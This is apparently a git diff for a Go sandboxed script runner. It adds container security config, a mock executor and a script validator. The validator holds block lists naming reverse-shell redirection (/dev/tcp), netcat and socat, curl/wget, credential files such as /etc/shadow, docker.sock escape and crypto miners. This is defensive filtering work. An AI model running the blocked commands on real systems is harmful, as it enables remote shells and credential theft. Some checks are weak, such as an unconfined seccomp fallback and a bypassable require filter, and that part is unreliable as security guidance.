container +type ContainerConfig struct { + // Container image to use + Image string + + // Script type (python, bash, etc.) + ScriptType models.ScriptType + + // Script content to execute + ScriptContent string + + // Environment variables + Environment []string + + // Working directory inside container + WorkingDir string + + // Resource limits + ResourceLimits ResourceLimits + + // Security configuration + SecurityConfig SecurityConfig + + // Execution timeout + Timeout time.Duration +} + +// SecurityConfig represents security settings for container execution +type SecurityConfig struct { + // Run as non-root user (UID:GID) + User string + + // Disable privilege escalation + NoNewPrivileges bool + + // Use read-only root filesystem + ReadOnlyRootfs bool + + // Disable network access + NetworkDisabled bool + + // Security options (seccomp, apparmor) + SecurityOpts []string + + // Tmpfs mounts for writable directories + TmpfsMounts map[string]string + + // Drop all capabilities + DropAllCapabilities bool +} + +// ContainerSummary represents a summary of container information +type ContainerSummary struct { + ID string + Names []string + Image string + Created int64 + State string + Status string +} diff --git a/internal/executor/mock_executor.go b/internal/executor/mock_executor.go new file mode 100644 index 0000000..bb640d5 --- /dev/null +++ b/internal/executor/mock_executor.go @@ -0,0 +1,261 @@ +package executor + +import ( + "context" + "log/slog" + "time" + + "github.com/google/uuid" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// MockExecutor implements TaskExecutor interface for testing environments +// where Docker is not available or desired +type MockExecutor struct { + config *Config + logger *slog.Logger + executions map[uuid.UUID]*mockExecution +} + +type mockExecution struct { + id uuid.UUID + status models.ExecutionStatus + startedAt time.Time + result *ExecutionResult +} + +// NewMockExecutor creates a new mock executor for testing +func NewMockExecutor(config *Config, logger *slog.Logger) *MockExecutor { + if config == nil { + config = NewDefaultConfig() + } + if logger == nil { + logger = slog.Default() + } + + return &MockExecutor{ + config: config, + logger: logger, + executions: make(map[uuid.UUID]*mockExecution), + } +} + +// Execute simulates task execution and returns a mock result +func (m *MockExecutor) Execute(ctx context.Context, execCtx *ExecutionContext) (*ExecutionResult, error) { + if execCtx == nil || execCtx.Task == nil || execCtx.Execution == nil { + return nil, NewExecutorError("mock_execute", "invalid execution context", nil) + } + + logger := m.logger.With( + "task_id", execCtx.Task.ID.String(), + "execution_id", execCtx.Execution.ID.String(), + "operation", "mock_execute", + ) + + logger.Info("starting mock task execution") + + // Register the execution + mockExec := &mockExecution{ + id: execCtx.Execution.ID, + status: models.ExecutionStatusRunning, + startedAt: time.Now(), + } + m.executions[execCtx.Execution.ID] = mockExec + + // Simulate execution time (short for tests) + executionTime := 100 * time.Millisecond + if execCtx.Timeout > 0 && execCtx.Timeout < executionTime { + executionTime = execCtx.Timeout + } + + select { + case <-time.After(executionTime): + // Normal completion + result := m.generateMockResult(execCtx) + mockExec.result = result + mockExec.status = result.Status + logger.Info("mock task execution completed successfully") + return result, nil + + case <-ctx.Done(): + // Cancelled + result := &ExecutionResult{ + Status: models.ExecutionStatusCancelled, + ReturnCode: intPtr(-1), + Stdout: stringPtr(""), + Stderr: stringPtr("execution cancelled"), + ExecutionTimeMs: intPtr(int(time.Since(mockExec.startedAt).Milliseconds())), + StartedAt: &mockExec.startedAt, + CompletedAt: timePtr(time.Now()), + } + mockExec.result = result + mockExec.status = models.ExecutionStatusCancelled + logger.Info("mock task execution cancelled") + return result, ctx.Err() + } +} + +// Cancel simulates cancelling a running execution +func (m *MockExecutor) Cancel(ctx context.Context, executionID uuid.UUID) error { + logger := m.logger.With( + "execution_id", executionID.String(), + "operation", "mock_cancel", + ) + + mockExec, exists := m.executions[executionID] + if !exists { + logger.Warn("attempted to cancel non-existent execution") + return NewExecutorError("mock_cancel", "execution not found", nil) + } + + if mockExec.status != models.ExecutionStatusRunning { + logger.Warn("attempted to cancel non-running execution", "status", mockExec.status) + return NewExecutorError("mock_cancel", "execution not running", nil) + } + + mockExec.status = models.ExecutionStatusCancelled + if mockExec.result == nil { + mockExec.result = &ExecutionResult{ + Status: models.ExecutionStatusCancelled, + ReturnCode: intPtr(-1), + Stdout: stringPtr(""), + Stderr: stringPtr("execution cancelled"), + ExecutionTimeMs: intPtr(int(time.Since(mockExec.startedAt).Milliseconds())), + StartedAt: &mockExec.startedAt, + CompletedAt: timePtr(time.Now()), + } + } + + logger.Info("mock execution cancelled successfully") + return nil +} + +// IsHealthy always returns healthy for mock executor +func (m *MockExecutor) IsHealthy(ctx context.Context) error { + m.logger.Debug("mock executor health check - always healthy") + return nil +} + +// Cleanup cleans up mock execution records +func (m *MockExecutor) Cleanup(ctx context.Context) error { + logger := m.logger.With("operation", "mock_cleanup") + + executionCount := len(m.executions) + m.executions = make(map[uuid.UUID]*mockExecution) + + logger.Info("mock executor cleanup completed", "cleaned_executions", executionCount) + return nil +} + +// generateMockResult creates a realistic mock execution result +func (m *MockExecutor) generateMockResult(execCtx *ExecutionContext) *ExecutionResult { + now := time.Now() + startedAt := now.Add(-100 * time.Millisecond) + + // Generate mock output based on script type + var stdout, stderr string + var returnCode int + + switch execCtx.Task.ScriptType { + case models.ScriptTypePython: + stdout = "Mock Python execution output\n" + stderr = "" + returnCode = 0 + case models.ScriptTypeBash: + stdout = "Mock Bash execution output\n" + stderr = "" + returnCode = 0 + case models.ScriptTypeJavaScript: + stdout = "Mock JavaScript execution output\n" + stderr = "" + returnCode = 0 + default: + stdout = "Mock execution output\n" + stderr = "" + returnCode = 0 + } + + // Simulate different execution outcomes based on script content + if execCtx.Task.ScriptContent != "" { + // Check for common error patterns + content := execCtx.Task.ScriptContent + if containsErrorPatterns(content) { + stdout = "" + stderr = "Mock execution error\n" + returnCode = 1 + } else if containsTimeoutPatterns(content) { + return &ExecutionResult{ + Status: models.ExecutionStatusTimeout, + ReturnCode: intPtr(-1), + Stdout: stringPtr(""), + Stderr: stringPtr("execution timed out"), + ExecutionTimeMs: intPtr(int(execCtx.Timeout.Milliseconds())), + StartedAt: &startedAt, + CompletedAt: &now, + } + } + } + + status := models.ExecutionStatusCompleted + if returnCode != 0 { + status = models.ExecutionStatusFailed + } + + return &ExecutionResult{ + Status: status, + ReturnCode: &returnCode, + Stdout: &stdout, + Stderr: &stderr, + ExecutionTimeMs: intPtr(100), // 100ms mock execution time + MemoryUsageBytes: int64Ptr(1024 * 1024), // 1MB mock memory usage + StartedAt: &startedAt, + CompletedAt: &now, + } +} + +// containsErrorPatterns checks if script content should simulate an error +func containsErrorPatterns(content string) bool { + errorPatterns := []string{ + "exit 1", + "raise Exception", + "throw new Error", + "panic(", + } + + for _, pattern := range errorPatterns { + if len(content) > len(pattern) && content[:len(pattern)] == pattern { + return true + } + } + return false +} + +// containsTimeoutPatterns checks if script content should simulate a timeout +func containsTimeoutPatterns(content string) bool { + timeoutPatterns := []string{ + "sleep(", + "time.sleep", + "setTimeout", + "Thread.sleep", + } + + for _, pattern := range timeoutPatterns { + if len(content) > len(pattern) && content[:len(pattern)] == pattern { + return true + } + } + return false +} + +// Helper functions for pointer creation +func intPtr(i int) *int { + return &i +} + +func int64Ptr(i int64) *int64 { + return &i +} + +func timePtr(t time.Time) *time.Time { + return &t +} diff --git a/internal/executor/security.go b/internal/executor/security.go new file mode 100644 index 0000000..c391dce --- /dev/null +++ b/internal/executor/security.go @@ -0,0 +1,1270 @@ +package executor + +import ( + "context" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// SecurityManager handles security configuration and validation +type SecurityManager struct { + config *Config +} + +// NewSecurityManager creates a new security manager +func NewSecurityManager(config *Config) *SecurityManager { + return &SecurityManager{ + config: config, + } +} + +// BuildSecurityConfig creates a security configuration for a given task +func (sm *SecurityManager) BuildSecurityConfig(task *models.Task) (*SecurityConfig, error) { + if task == nil { + return nil, NewSecurityError("build_security_config", "task is nil", nil) + } + + // Validate script content for security issues + if err := sm.ValidateScriptContent(task.ScriptContent, task.ScriptType); err != nil { + return nil, fmt.Errorf("script security validation failed: %w", err) + } + + // Build base security configuration + securityConfig := &SecurityConfig{ + User: sm.config.Security.ExecutionUser, + NoNewPrivileges: true, + ReadOnlyRootfs: true, + NetworkDisabled: true, + DropAllCapabilities: true, + TmpfsMounts: map[string]string{ + "/tmp": "rw,noexec,nosuid,size=100m", + "/var/tmp": "rw,noexec,nosuid,size=10m", + "/workspace": "rw,noexec,nosuid,size=50m", + }, + } + + // Build security options + securityOpts := []string{ + "no-new-privileges", + } + + // Add seccomp profile if enabled + if sm.config.Security.EnableSeccomp { + if sm.config.Security.SeccompProfilePath != "" { + securityOpts = append(securityOpts, "seccomp="+sm.config.Security.SeccompProfilePath) + } else { + // Use default seccomp profile + securityOpts = append(securityOpts, "seccomp=unconfined") + } + } + + // Add AppArmor profile if enabled + if sm.config.Security.EnableAppArmor && sm.config.Security.AppArmorProfile != "" { + securityOpts = append(securityOpts, "apparmor="+sm.config.Security.AppArmorProfile) + } + + securityConfig.SecurityOpts = securityOpts + + return securityConfig, nil +} + +// ValidateScriptContent performs security validation on script content +func (sm *SecurityManager) ValidateScriptContent(content string, scriptType models.ScriptType) error { + if content == "" { + return NewSecurityError("validate_script", "script content is empty", nil) + } + + // Convert to lowercase for case-insensitive checks + lowerContent := strings.ToLower(content) + + // Check for script-specific dangerous patterns first + switch scriptType { + case models.ScriptTypePython: + if err := sm.validatePythonScript(lowerContent); err != nil { + return err + } + case models.ScriptTypeBash: + if err := sm.validateBashScript(lowerContent); err != nil { + return err + } + case models.ScriptTypeJavaScript: + if err := sm.validateJavaScriptScript(lowerContent); err != nil { + return err + } + } + + // Check for general dangerous patterns that are not script-specific + dangerousPatterns := []string{ + // File system operations + "rm -rf", + "rm -r", + "rmdir", + "deltree", + "format", + "fdisk", + "mkfs", + "dd if=", + + // Network operations + "wget", + "curl", + + // Docker/container escape attempts + "docker", + "kubectl", + "podman", + "containerd", + "runc", + "/var/run/docker.sock", + + // Crypto mining (common patterns) + "xmrig", + "cpuminer", + "ccminer", + "minerd", + "stratum", + + // Privilege escalation + "setuid", + "setgid", + "ptrace", + "chroot", + } + + for _, pattern := range dangerousPatterns { + if strings.Contains(lowerContent, pattern) { + return NewSecurityError("validate_script", + fmt.Sprintf("potentially dangerous pattern detected: %s", pattern), nil) + } + } + + return nil +} + +// validatePythonScript performs Python-specific security validation +func (sm *SecurityManager) validatePythonScript(content string) error { + // Define safe imports that are allowed + safeImports := map[string]bool{ + "import math": true, + "import json": true, + "import datetime": true, + "import random": true, + "import time": true, + "import re": true, + "import collections": true, + "import itertools": true, + "import functools": true, + "import decimal": true, + "import fractions": true, + "import statistics": true, + "import string": true, + "import textwrap": true, + "import unicodedata": true, + "import base64": true, + "import binascii": true, + "import hashlib": true, + "import hmac": true, + "import uuid": true, + "from math import": true, + "from json import": true, + "from datetime import": true, + "from random import": true, + "from time import": true, + "from re import": true, + "from collections import": true, + "from itertools import": true, + "from functools import": true, + "from decimal import": true, + "from fractions import": true, + "from statistics import": true, + "from string import": true, + "from textwrap import": true, + "from unicodedata import": true, + "from base64 import": true, + "from binascii import": true, + "from hashlib import": true, + "from hmac import": true, + "from uuid import": true, + } + + // Check for dangerous patterns + dangerousPythonPatterns := []string{ + // System and process manipulation + "import os", + "import subprocess", + "import sys", + "import shutil", + "import tempfile", + "import multiprocessing", + "import threading", + "import signal", + "import atexit", + "from os import", + "from subprocess import", + "from sys import", + "from shutil import", + "from tempfile import", + "from multiprocessing import", + "from threading import", + "from signal import", + "from atexit import", + + // Network and external communication + "import socket", + "import urllib", + "import requests", + "import http", + "import smtplib", + "import ftplib", + "import poplib", + "import imaplib", + "import telnetlib", + "from socket import", + "from urllib import", + "from requests import", + "from http import", + "from smtplib import", + "from ftplib import", + "from poplib import", + "from imaplib import", + "from telnetlib import", + + // Dynamic code execution + "__import__", + "eval(", + "exec(", + "compile(", + "globals()", + "locals()", + "vars()", + + // Dangerous reflection and attribute access + "getattr(", + "setattr(", + "delattr(", + "hasattr(", + + // Dangerous file system access patterns (allow basic file operations within container) + // Note: Container filesystem is read-only except for /tmp, so file access is limited + + // User input (can be dangerous in containers) + "input(", + "raw_input(", + + // Import manipulation + "importlib", + "__builtins__", + "__name__", + "__file__", + "__doc__", + "__package__", + "__loader__", + "__spec__", + "__path__", + "__cached__", + } + + // Split content into lines and check each import statement + lines := strings.Split(content, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + + // Check if this line contains an import statement + if strings.HasPrefix(line, "import ") || strings.HasPrefix(line, "from ") { + // Check if it's a safe import + isSafe := false + for safeImport := range safeImports { + if strings.HasPrefix(line, safeImport) { + isSafe = true + break + } + } + + if !isSafe { + // Check if it's a dangerous import + for _, pattern := range dangerousPythonPatterns { + if strings.HasPrefix(line, pattern) { + return NewSecurityError("validate_python_script", + fmt.Sprintf("dangerous Python import detected: %s", pattern), nil) + } + } + } + } + } + + // Check for dangerous patterns in the entire content + for _, pattern := range dangerousPythonPatterns { + // Skip import patterns as they're handled above + if strings.HasPrefix(pattern, "import ") || strings.HasPrefix(pattern, "from ") { + continue + } + + if strings.Contains(content, pattern) { + return NewSecurityError("validate_python_script", + fmt.Sprintf("dangerous Python pattern detected: %s", pattern), nil) + } + } + + return nil +} + +// validateBashScript performs Bash-specific security validation +func (sm *SecurityManager) validateBashScript(content string) error { + // Define truly dangerous patterns that should be blocked + dangerousBashPatterns := []string{ + // Network access + "/dev/tcp/", // TCP redirection + "/dev/udp/", // UDP redirection + + // System access and privilege escalation + "source /", + ". /", + "export HOME=", + "export PATH=", + "export LD_", + "export DYLD_", + "history -c", + "history -d", + "fc -s", + + // Dangerous background processes + "nohup ", + "disown ", + "setsid ", + "daemon ", + + // Process control + "trap ", + "kill -", + "killall ", + "pkill ", + + // File system manipulation + "mount ", + "umount ", + "chroot ", + "pivot_root ", + + // Dangerous commands + "sudo ", + "su ", + "passwd ", + "chsh ", + "chfn ", + "newgrp ", + "sg ", + + // System information gathering (allow basic commands like whoami, id for educational use) + "uname -a", + "hostname ", + "last ", + "w ", + "finger ", + + // Network commands + "ping ", + "traceroute ", + "nslookup ", + "dig ", + "host ", + "netstat ", + "ss ", + "lsof ", + "fuser ", + + // Package management + "apt ", + "yum ", + "rpm ", + "dpkg ", + "snap ", + "flatpak ", + "brew ", + "port ", + "emerge ", + "pacman ", + "zypper ", + + // Dangerous files and directories (allow /tmp/ as containers need temp space) + "/etc/passwd", + "/etc/shadow", + "/etc/group", + "/etc/sudoers", + "/root/", + "/home/", + "/Users/", + "/var/log/", + "/var/run/", + "/proc/", + "/sys/", + "/dev/", + "/var/tmp/", + + // Dangerous redirection patterns + "> /", + ">> /", + "< /", + "2> /", + "2>> /", + "&> /", + "&>> /", + + // Remote access + "ssh ", + "scp ", + "rsync ", + "rcp ", + "telnet ", + "ftp ", + "sftp ", + "nc ", + "netcat ", + "socat ", + + // Archive and compression (can be used for data exfiltration) + "tar ", + "gzip ", + "gunzip ", + "zip ", + "unzip ", + "7z ", + "rar ", + "unrar ", + + // Dangerous environment variables + "$HOME", + "$PATH", + "$USER", + "$SHELL", + "$PWD", + "$OLDPWD", + "$PS1", + "$PS2", + "$IFS", + "$0", + "$$", + "$!", + "$?", + } + + // Check for dangerous patterns + for _, pattern := range dangerousBashPatterns { + if strings.Contains(content, pattern) { + return NewSecurityError("validate_bash_script", + fmt.Sprintf("dangerous Bash pattern detected: %s", pattern), nil) + } + } + + // Check for command substitution in dangerous contexts + if strings.Contains(content, "$(") { + // Allow simple command substitution for safe operations + // Block if it contains dangerous commands within $() + for _, pattern := range dangerousBashPatterns { + if strings.Contains(content, "$("+pattern) { + return NewSecurityError("validate_bash_script", + fmt.Sprintf("dangerous command substitution detected: $(%s", pattern), nil) + } + } + } + + // Check for backtick command substitution + if strings.Contains(content, "`") { + // Backticks are generally more dangerous, allow only very simple cases + backtickPattern := "`[^`]*`" + if matched, _ := regexp.MatchString(backtickPattern, content); matched { + return NewSecurityError("validate_bash_script", + "backtick command substitution detected (use $() instead)", nil) + } + } + + return nil +} + +// validateJavaScriptScript performs JavaScript-specific security validation +func (sm *SecurityManager) validateJavaScriptScript(content string) error { + // Define safe require patterns that are allowed + safeRequirePatterns := []string{ + "require('crypto')", + "require('util')", + "require('path')", + "require('url')", + "require('querystring')", + "require('string_decoder')", + "require('buffer')", + "require('events')", + "require('stream')", + "require('assert')", + "require('console')", + "require('timers')", + "require(\"crypto\")", + "require(\"util\")", + "require(\"path\")", + "require(\"url\")", + "require(\"querystring\")", + "require(\"string_decoder\")", + "require(\"buffer\")", + "require(\"events\")", + "require(\"stream\")", + "require(\"assert\")", + "require(\"console\")", + "require(\"timers\")", + } + + // Define truly dangerous patterns that should be blocked + dangerousJSPatterns := []string{ + // Node.js system access + "require('fs')", + "require('child_process')", + "require('os')", + "require('process')", + "require('cluster')", + "require('worker_threads')", + "require('vm')", + "require('module')", + "require('repl')", + "require('readline')", + "require('tty')", + "require(\"fs\")", + "require(\"child_process\")", + "require(\"os\")", + "require(\"process\")", + "require(\"cluster\")", + "require(\"worker_threads\")", + "require(\"vm\")", + "require(\"module\")", + "require(\"repl\")", + "require(\"readline\")", + "require(\"tty\")", + + // Network access + "require('http')", + "require('https')", + "require('net')", + "require('dgram')", + "require('dns')", + "require('tls')", + "require(\"http\")", + "require(\"https\")", + "require(\"net\")", + "require(\"dgram\")", + "require(\"dns\")", + "require(\"tls\")", + + // Dynamic code execution + "eval(", + "new Function(", + "Function(", + "setTimeout(", + "setInterval(", + "setImmediate(", + + // Process and environment access + "process.exit(", + "process.env", + "process.argv", + "process.cwd(", + "process.chdir(", + "process.kill(", + "process.abort(", + "process.platform", + "process.version", + "process.versions", + + // Global object access + "global.", + "globalThis.", + "window.", + "document.", + "navigator.", + "location.", + "history.", + "localStorage.", + "sessionStorage.", + + // Dangerous constructor access + "constructor(", + "__proto__", + "prototype", + + // Import statements (ES6 modules) + "import ", + "export ", + "import(", // Dynamic imports + + // Dangerous eval-like functions + "execScript(", + "msWriteProfilerMark(", + "webkitRequestFileSystem(", + "webkitResolveLocalFileSystemURL(", + } + + // Check for dangerous patterns + for _, pattern := range dangerousJSPatterns { + if strings.Contains(content, pattern) { + // Check if it's a safe require pattern first + isSafeRequire := false + for _, safePattern := range safeRequirePatterns { + if strings.Contains(content, safePattern) { + isSafeRequire = true + break + } + } + + if !isSafeRequire { + return NewSecurityError("validate_javascript_script", + fmt.Sprintf("dangerous JavaScript pattern detected: %s", pattern), nil) + } + } + } + + // Check for require patterns that are not in the safe list + requirePattern := `require\s*\(\s*['"](.*?)['"]\s*\)` + re := regexp.MustCompile(requirePattern) + matches := re.FindAllStringSubmatch(content, -1) + + for _, match := range matches { + if len(match) > 1 { + moduleName := match[1] + // Check if this module is in our safe list + isSafe := false + safeModules := []string{"crypto", "util", "path", "url", "querystring", "string_decoder", "buffer", "events", "stream", "assert", "console", "timers"} + for _, safeModule := range safeModules { + if moduleName == safeModule { + isSafe = true + break + } + } + + if !isSafe { + return NewSecurityError("validate_javascript_script", + fmt.Sprintf("unsafe require module detected: %s", moduleName), nil) + } + } + } + + return nil +} + +// CreateSeccompProfile creates a custom seccomp profile for the container +func (sm *SecurityManager) CreateSeccompProfile(ctx context.Context) (string, error) { + profile := `{ + "defaultAction": "SCMP_ACT_ERRNO", + "architectures": [ + "SCMP_ARCH_X86_64", + "SCMP_ARCH_X86", + "SCMP_ARCH_X32" + ], + "syscalls": [ + { + "names": [ + "accept", + "accept4", + "access", + "brk", + "close", + "dup", + "dup2", + "exit", + "exit_group", + "fstat", + "fstat64", + "getdents", + "getdents64", + "getpid", + "getuid", + "getgid", + "geteuid", + "getegid", + "lseek", + "lstat", + "lstat64", + "mmap", + "mmap2", + "mprotect", + "munmap", + "newfstatat", + "open", + "openat", + "poll", + "ppoll", + "read", + "readlink", + "readlinkat", + "rt_sigaction", + "rt_sigprocmask", + "rt_sigreturn", + "select", + "stat", + "stat64", + "statfs", + "statfs64", + "write", + "writev" + ], + "action": "SCMP_ACT_ALLOW" + } + ] +}` + + // Determine secure directory for profile storage + tempDir, err := sm.getSecureProfileDirectory() + if err != nil { + return "", NewSecurityError("create_seccomp_profile", "failed to get secure directory", err) + } + + // Validate directory exists and has proper permissions + if err := sm.validateSecureDirectory(tempDir); err != nil { + return "", NewSecurityError("create_seccomp_profile", "directory security validation failed", err) + } + + profilePath := filepath.Join(tempDir, "seccomp-profile.json") + + // Write profile with secure permissions (0600 - owner read/write only) + err = os.WriteFile(profilePath, []byte(profile), 0600) + if err != nil { + return "", NewSecurityError("create_seccomp_profile", "failed to write seccomp profile", err) + } + + // Verify file permissions after creation + if err := sm.validateFilePermissions(profilePath, 0600); err != nil { + // Clean up the file if permissions are wrong + _ = os.Remove(profilePath) // Ignore cleanup errors + return "", NewSecurityError("create_seccomp_profile", "file permission validation failed", err) + } + + return profilePath, nil +} + +// getSecureProfileDirectory determines the most secure directory for profile storage +func (sm *SecurityManager) getSecureProfileDirectory() (string, error) { + // Preferred directories in order of security preference + preferredDirs := []string{ + "/opt/voidrunner/profiles", + "/opt/voidrunner", + "/var/lib/voidrunner", + "/tmp/voidrunner-profiles", + } + + for _, dir := range preferredDirs { + // Check if directory exists or can be created + if err := os.MkdirAll(dir, 0700); err != nil { + continue // Try next directory + } + + // Verify we can write to the directory + testFile := filepath.Join(dir, ".write-test") + if err := os.WriteFile(testFile, []byte("test"), 0600); err != nil { + continue // Try next directory + } + _ = os.Remove(testFile) // Clean up test file, ignore errors + + return dir, nil + } + + // Fallback to system temp directory with restricted subdirectory + tempDir := filepath.Join(os.TempDir(), "voidrunner-profiles") + if err := os.MkdirAll(tempDir, 0700); err != nil { + return "", fmt.Errorf("failed to create fallback temp directory: %w", err) + } + + return tempDir, nil +} + +// validateSecureDirectory validates that a directory has appropriate security settings +func (sm *SecurityManager) validateSecureDirectory(dirPath string) error { + info, err := os.Stat(dirPath) + if err != nil { + return fmt.Errorf("directory does not exist: %w", err) + } + + if !info.IsDir() { + return fmt.Errorf("path is not a directory: %s", dirPath) + } + + // Check directory permissions (should be 0700 - owner only) + mode := info.Mode().Perm() + if mode != 0700 { + return fmt.Errorf("directory has insecure permissions %o, expected 0700", mode) + } + + return nil +} + +// validateFilePermissions validates that a file has the expected permissions +func (sm *SecurityManager) validateFilePermissions(filePath string, expectedMode os.FileMode) error { + info, err := os.Stat(filePath) + if err != nil { + return fmt.Errorf("file does not exist: %w", err) + } + + actualMode := info.Mode().Perm() + if actualMode != expectedMode { + return fmt.Errorf("file has incorrect permissions %o, expected %o", actualMode, expectedMode) + } + + return nil +} + +// ValidateContainerConfig validates that a container configuration meets security requirements +func (sm *SecurityManager) ValidateContainerConfig(config *ContainerConfig) error { + if config == nil { + return NewSecurityError("validate_container_config", "container config is nil", nil) + } + + // Comprehensive security configuration validation + if err := sm.validateSecurityConfig(&config.SecurityConfig); err != nil { + return fmt.Errorf("security config validation failed: %w", err) + } + + // Comprehensive resource limits validation + if err := sm.validateResourceLimits(&config.ResourceLimits); err != nil { + return fmt.Errorf("resource limits validation failed: %w", err) + } + + // Validate container image security + if err := sm.CheckImageSecurity(config.Image); err != nil { + return fmt.Errorf("image security validation failed: %w", err) + } + + // Validate working directory security + if err := sm.validateWorkingDirectory(config.WorkingDir); err != nil { + return fmt.Errorf("working directory validation failed: %w", err) + } + + // Validate environment variables + if err := sm.validateEnvironmentVariables(config.Environment); err != nil { + return fmt.Errorf("environment validation failed: %w", err) + } + + // Validate timeout + if config.Timeout <= 0 { + return NewSecurityError("validate_container_config", "timeout must be positive", nil) + } + + if int(config.Timeout.Seconds()) > sm.config.Security.MaxTimeoutSeconds { + return NewSecurityError("validate_container_config", + fmt.Sprintf("timeout exceeds maximum allowed (%d seconds)", sm.config.Security.MaxTimeoutSeconds), nil) + } + + return nil +} + +// validateSecurityConfig performs comprehensive security configuration validation +func (sm *SecurityManager) validateSecurityConfig(config *SecurityConfig) error { + // Ensure non-root execution + if config.User == "" { + return NewSecurityError("validate_security_config", "user must be specified", nil) + } + + // Parse and validate user specification + if err := sm.validateUserSpecification(config.User); err != nil { + return fmt.Errorf("user specification validation failed: %w", err) + } + + // Ensure read-only root filesystem + if !config.ReadOnlyRootfs { + return NewSecurityError("validate_security_config", "read-only root filesystem must be enabled", nil) + } + + // Ensure network is disabled + if !config.NetworkDisabled { + return NewSecurityError("validate_security_config", "network must be disabled for security", nil) + } + + // Ensure no new privileges + if !config.NoNewPrivileges { + return NewSecurityError("validate_security_config", "no-new-privileges must be enabled", nil) + } + + // Ensure all capabilities are dropped + if !config.DropAllCapabilities { + return NewSecurityError("validate_security_config", "all capabilities must be dropped", nil) + } + + // Validate security options + if err := sm.validateSecurityOptions(config.SecurityOpts); err != nil { + return fmt.Errorf("security options validation failed: %w", err) + } + + // Validate tmpfs mounts + if err := sm.validateTmpfsMounts(config.TmpfsMounts); err != nil { + return fmt.Errorf("tmpfs mounts validation failed: %w", err) + } + + return nil +} + +// validateResourceLimits performs comprehensive resource limits validation +func (sm *SecurityManager) validateResourceLimits(limits *ResourceLimits) error { + // Memory validation + if limits.MemoryLimitBytes <= 0 { + return NewSecurityError("validate_resource_limits", "memory limit must be positive", nil) + } + + if limits.MemoryLimitBytes > sm.config.Security.MaxMemoryLimitBytes { + return NewSecurityError("validate_resource_limits", + fmt.Sprintf("memory limit (%d bytes) exceeds maximum allowed (%d bytes)", + limits.MemoryLimitBytes, sm.config.Security.MaxMemoryLimitBytes), nil) + } + + // CPU validation + if limits.CPUQuota <= 0 { + return NewSecurityError("validate_resource_limits", "CPU quota must be positive", nil) + } + + if limits.CPUQuota > sm.config.Security.MaxCPUQuota { + return NewSecurityError("validate_resource_limits", + fmt.Sprintf("CPU quota (%d) exceeds maximum allowed (%d)", + limits.CPUQuota, sm.config.Security.MaxCPUQuota), nil) + } + + // PID validation + if limits.PidsLimit <= 0 { + return NewSecurityError("validate_resource_limits", "PID limit must be positive", nil) + } + + if limits.PidsLimit > sm.config.Security.MaxPidsLimit { + return NewSecurityError("validate_resource_limits", + fmt.Sprintf("PID limit (%d) exceeds maximum allowed (%d)", + limits.PidsLimit, sm.config.Security.MaxPidsLimit), nil) + } + + // Timeout validation + if limits.TimeoutSeconds <= 0 { + return NewSecurityError("validate_resource_limits", "timeout must be positive", nil) + } + + if limits.TimeoutSeconds > sm.config.Security.MaxTimeoutSeconds { + return NewSecurityError("validate_resource_limits", + fmt.Sprintf("timeout (%d seconds) exceeds maximum allowed (%d seconds)", + limits.TimeoutSeconds, sm.config.Security.MaxTimeoutSeconds), nil) + } + + return nil +} + +// validateUserSpecification validates the user specification format +func (sm *SecurityManager) validateUserSpecification(user string) error { + // Check for root user patterns + if user == "root" || user == "0" || user == "0:0" { + return NewSecurityError("validate_user_specification", "root user execution is not allowed", nil) + } + + // Validate UID:GID format + parts := strings.Split(user, ":") + if len(parts) != 2 { + return NewSecurityError("validate_user_specification", "user must be in UID:GID format", nil) + } + + // Validate UID + uid := parts[0] + if uid == "0" { + return NewSecurityError("validate_user_specification", "UID 0 (root) is not allowed", nil) + } + + // Validate GID + gid := parts[1] + if gid == "0" { + return NewSecurityError("validate_user_specification", "GID 0 (root) is not allowed", nil) + } + + return nil +} + +// validateSecurityOptions validates security options +func (sm *SecurityManager) validateSecurityOptions(opts []string) error { + requiredOpts := map[string]bool{ + "no-new-privileges": false, + } + + for _, opt := range opts { + if strings.HasPrefix(opt, "no-new-privileges") { + requiredOpts["no-new-privileges"] = true + } + + // Validate seccomp options + if strings.HasPrefix(opt, "seccomp=") { + seccompProfile := strings.TrimPrefix(opt, "seccomp=") + if seccompProfile != "unconfined" && seccompProfile != "" { + // Validate seccomp profile path + if err := sm.validateSeccompProfilePath(seccompProfile); err != nil { + return fmt.Errorf("seccomp profile validation failed: %w", err) + } + } + } + + // Validate AppArmor options + if strings.HasPrefix(opt, "apparmor=") { + profile := strings.TrimPrefix(opt, "apparmor=") + if profile == "unconfined" { + return NewSecurityError("validate_security_options", "AppArmor unconfined profile is not allowed", nil) + } + } + } + + // Check that all required options are present + for opt, present := range requiredOpts { + if !present { + return NewSecurityError("validate_security_options", + fmt.Sprintf("required security option '%s' is missing", opt), nil) + } + } + + return nil +} + +// validateTmpfsMounts validates tmpfs mount configurations +func (sm *SecurityManager) validateTmpfsMounts(mounts map[string]string) error { + allowedPaths := map[string]bool{ + "/tmp": true, + "/var/tmp": true, + "/workspace": true, + "/run": true, + } + + for path, options := range mounts { + // Validate mount path + if !allowedPaths[path] { + return NewSecurityError("validate_tmpfs_mounts", + fmt.Sprintf("tmpfs mount path '%s' is not allowed", path), nil) + } + + // Validate mount options + if err := sm.validateTmpfsOptions(options); err != nil { + return fmt.Errorf("tmpfs options validation failed for path '%s': %w", path, err) + } + } + + return nil +} + +// validateTmpfsOptions validates tmpfs mount options +func (sm *SecurityManager) validateTmpfsOptions(options string) error { + requiredOptions := map[string]bool{ + "noexec": false, + "nosuid": false, + } + + opts := strings.Split(options, ",") + for _, opt := range opts { + opt = strings.TrimSpace(opt) + + if opt == "noexec" { + requiredOptions["noexec"] = true + } + if opt == "nosuid" { + requiredOptions["nosuid"] = true + } + + // Check for dangerous options + if opt == "exec" { + return NewSecurityError("validate_tmpfs_options", "exec option is not allowed in tmpfs mounts", nil) + } + if opt == "suid" { + return NewSecurityError("validate_tmpfs_options", "suid option is not allowed in tmpfs mounts", nil) + } + } + + // Check that all required options are present + for opt, present := range requiredOptions { + if !present { + return NewSecurityError("validate_tmpfs_options", + fmt.Sprintf("required tmpfs option '%s' is missing", opt), nil) + } + } + + return nil +} + +// validateWorkingDirectory validates the container working directory +func (sm *SecurityManager) validateWorkingDirectory(workingDir string) error { + if workingDir == "" { + return NewSecurityError("validate_working_directory", "working directory must be specified", nil) + } + + // Ensure it's an absolute path + if !strings.HasPrefix(workingDir, "/") { + return NewSecurityError("validate_working_directory", "working directory must be an absolute path", nil) + } + + // 